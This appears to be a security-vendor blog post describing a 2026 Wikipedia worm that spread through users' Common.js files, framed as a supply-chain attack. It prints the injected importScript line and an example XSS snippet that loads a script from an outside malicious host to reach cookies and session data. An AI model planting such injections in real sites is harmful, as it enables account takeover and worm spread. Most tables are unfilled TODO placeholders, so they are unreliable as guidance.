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Time	TODO
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5 March 2026	TODO
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// What the Worm injected into the victim's User:Common.js file
importScript('User:Ololoshka562/test.js');

// when the victim opens any Wikipedia page
// the script loads and executesAutomated
// then spreads to other users' User:Common.js files

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In addition to spreading through User Scripts, the Worm also attempted to modify MediaWiki:Common.js which is a JavaScript file that loads every time for every user on the wiki. If successful, every user would be infected upon visiting the site

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// ExampleInjection pattern External Script (XSS)
// The malicious script creates a <script> tag pointing to an external server
var s = document.createElement('script');
s.src = 'https://basemetrika.ru/malicious.js';
document.head.appendChild(s);

// When the External Script loads successfully
// it can access all DOM, Cookie, and Session data

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Key indicators	TODO	TODO
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Supply Chain Attack is an attack that does not breach systems directly, but embeds itself in code, libraries, or tools that organizations trust and adopt. This Wikipedia incident is a classic example because:

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TypesAttack	TODO	TODO
Direct Attack	TODO	TODO
Phishing	TODO	TODO
Supply Chain Attack	TODO	TODO

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Aspect	TODO	TODO
Code Review	TODO	TODO
Access Control	TODO	TODO
Monitoring	TODO	TODO
Security Audit	TODO	TODO
Incident Response	TODO	TODO
Backup/Recovery	TODO	TODO

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Principles	TODO
Role-Based Access Control	TODO
Audit Trail	TODO
Input Validation	TODO
Secure Development	TODO
Approval Workflow	TODO

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— Saeree ERP Team

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Issues	TODO	TODO
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TODO	TODO	Version Control + Incident Response Plan

References

• Wikimedia Meta-Wiki — Recent Changes Log
• MediaWiki Manual — Interface JavaScript
• CISA — Supply Chain Risk Management
• OWASP — Cross-Site Scripting (XSS) Attack

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